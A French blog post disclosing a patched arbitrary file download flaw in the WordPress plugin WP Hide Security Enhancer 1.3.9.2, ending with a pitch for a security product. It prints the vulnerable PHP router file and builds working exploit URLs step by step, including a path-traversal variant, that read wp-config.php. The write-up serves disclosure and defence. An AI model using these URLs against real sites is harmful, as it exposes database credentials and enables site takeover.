Failles et vulnérabilités du Web

Arbitrary File Download Vulnerability dans WP Hide Security Enhancer 1.3.9.2

Blog Failles et vulnérabilités du Web Arbitrary File Download Vulnerability dans WP Hide Security Enhancer 1.3.9.2
0 comments

WP Hide Security Enhancer est une extension de sécurité qui cache une installation WordPress. Elle a été développée par NSP Code. Le 15 février 2017, l’auteur du plugin a été alerté et les correctifs ont été publiés rapidement, merci à lui.

Faille critique

WP Hide Security Enhancer en version 1.3.9.2 ou moins est victime d’une vulnérabilité de type Arbitrary File Download. Elle permet à un visiteur de télécharger n’importe quel fichier de votre installation. Comme vous le devinez, c’est une faille critique.

Comment ça marche ?

Malheureusement c’est très simple à exploiter :

Dans le dossier /router/ vous trouverez le fichier file-process.php.

[pastacode lang=”php” manual=”%3C%3Fphp%0A%0A%20%20%20%20error_reporting(0)%3B%0A%20%20%20%20%0A%20%20%20%20%24action%20%20%20%20%20%3D%20%20%20isset(%24_GET%5B’action’%5D)%20%20%20%20%20%20%3F%20%20%20%24_GET%5B’action’%5D%20%20%20%20%20%3A%20%20%20”%3B%0A%20%20%20%20%24file_path%20%20%3D%20%20%20isset(%24_GET%5B’file_path’%5D)%20%20%20%3F%20%20%20%24_GET%5B’file_path’%5D%20%20%3A%20%20%20”%3B%0A%20%20%20%20%0A%20%20%20%20if(empty(%24action)%20%20%20%7C%7C%20%20empty(%24file_path))%0A%20%20%20%20%20%20%20%20die()%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%2F%2Fappend%20doc%20root%20to%20path%20%0A%20%20%20%20%24file_path%20%20%3D%20%20%20%24_SERVER%5B%22DOCUMENT_ROOT%22%5D%20.%20%20%20%24file_path%3B%20%20%0A%20%20%20%20%0A%20%20%20%20%2F%2Fcheck%20if%20file%20exists%0A%20%20%20%20if%20(!file_exists(%24file_path))%0A%20%20%20%20%20%20%20%20die()%3B%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%24WPH_FileProcess%20%20%3D%20%20%20new%20WPH_FileProcess()%3B%0A%20%20%20%20%0A%20%20%20%20%24WPH_FileProcess-%3Eaction%20%20%20%20%20%20%20%20%3D%20%20%20%24action%3B%0A%20%20%20%20%24WPH_FileProcess-%3Efile_path%20%20%20%20%20%3D%20%20%20%24file_path%3B%0A%20%20%20%20%0A%20%20%20%20%24WPH_FileProcess-%3Erun()%3B%20%20%20%20%0A%0A%20%20%20%20class%20WPH_FileProcess%0A%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20%24action%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20%24file_path%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20__construct()%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20ob_start(%22ob_gzhandler%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20__destruct()%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_contents()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20ob_end_clean()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%24out%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20run()%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20switch(%24this-%3Eaction)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20case%20’style-clean’%20%20%3A%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24this-%3Estyle_clean()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20style_clean()%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2Foutput%20headers%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24expires_offset%20%3D%2031536000%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20header(‘Content-Type%3A%20text%2Fcss%3B%20charset%3DUTF-8’)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20header(‘Expires%3A%20’%20.%20gmdate(%20%22D%2C%20d%20M%20Y%20H%3Ai%3As%22%2C%20time()%20%2B%20%24expires_offset%20)%20.%20’%20GMT’)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20header(%22Cache-Control%3A%20public%2C%20max-age%3D%24expires_offset%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20header(‘Last-Modified%3A%20’.gmdate(‘D%2C%20d%20M%20Y%20H%3Ai%3As’%2C%20filemtime(%24this-%3Efile_path)).’%20GMT’%2C%20true)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24handle%20%20%20%20%20%20%20%20%20%3D%20fopen(%24this-%3Efile_path%2C%20%22r%22)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24file_data%20%20%20%20%20%20%3D%20fread(%24handle%2C%20filesize(%24this-%3Efile_path))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20fclose(%24handle)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24file_data%20%20%3D%20%20%20preg_replace(‘!%2F%5C*.*%3F%5C*%2F!s’%2C%20”%2C%20%24file_data)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24file_data%20%20%3D%20%20%20preg_replace(%22%2F(%5E%5B%5Cr%5Cn%5D*%7C%5B%5Cr%5Cn%5D%2B)%5B%5Cs%5Ct%5D*%5B%5Cr%5Cn%5D%2B%2F%22%2C%20%22%5Cn%22%2C%20%24file_data)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%24file_data%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%0A%3F%3E” message=”/wp-hide-security-enhancer/router/file-process.php” highlight=”” provider=”manual”/]

Ce fichier n’est pas inclus dans WordPress donc il n’y a pas de moyen pour un plugin de sécurité WordPress d’attraper ça. Vous avez besoin d’un Web Application Firewall pour y arriver.

Mais arriver à quoi ? Tout ce qu’un attaquant a besoin c’est 2 paramètres dans l’URL comme demandé en ligne 8 :

http://example.com/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=…&file_path=…

Maintenant, la ligne 15 attends un fichier existant. Un attaquant connait un fichier qui existe et qui est interessant pour lui, il s’agit dewp-config.php.

http://example.com/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=…&file_path=/wp-config.php

Encore, la ligne 47 attends une action nommée style-clean aussi simple que ça.

http://example.com/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/wp-config.php

On y va, cette URL sera utilisée par un pirate pour afficher à l’écran le contenu de ce fichier.

Une démo en local sur le fichier wp-config.php

Suis-je protégé?

Vous avez peut-être ajouté des scripts pour “protéger votre fichier wp-config.php“. Je suis au regret de vous dire que cela ne fonctionne PAS comme ça.

.htaccess

Vous avez surement déjà lu qu’on peut ajouter des règles dans le fichier .htaccess pour le protéger le fichier de config, des règles comme ça :

[pastacode lang=”markup” manual=”%3Cfiles%20wp-config.php%3E%0Aorder%20allow%2Cdeny%0Adeny%20from%20all%0A%3C%2Ffiles%3E%0A” message=”Don’t do that.” highlight=”” provider=”manual”/]

Cela ne vous protège PAS de cette vulnérabilité. Pourquoi ? Car cette protection n’interdit que l’accès direct au fichier via un navigateur, mais pas depuis un script PHP, chose qui est ici utilisé.

Remontez le

Vous avez aussi surement lu qu’on pouvait remonter d’un cran dans l’arborescence le fichier wp-config.php, comme ça il n’est plus accessible depuis votre URL en front-office. Oui c’est vrai, mais c’est tout. Un script PHP peut toujours y accéder :

http://example.com/wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/../wp-config.php

Comment rester en sécurité avec ce genre de faille ?

Il arrive souvent que des failles donnent un accès au fichier wp-config.php pour ceux qui se souviennent en 2014 avec revslider. C’était exactement la même chose.

Vous vous devez de bloquer certains mots dans vos URLs, en effet, ni WordPress, ni vous, ni un utilisateur, ni un client n’a besoin de toucher à ce nom de fichier.

Si vous avez SecuPress Pro, vous êtes déjà protégé(e) de ce genre d’attaques.

0 comments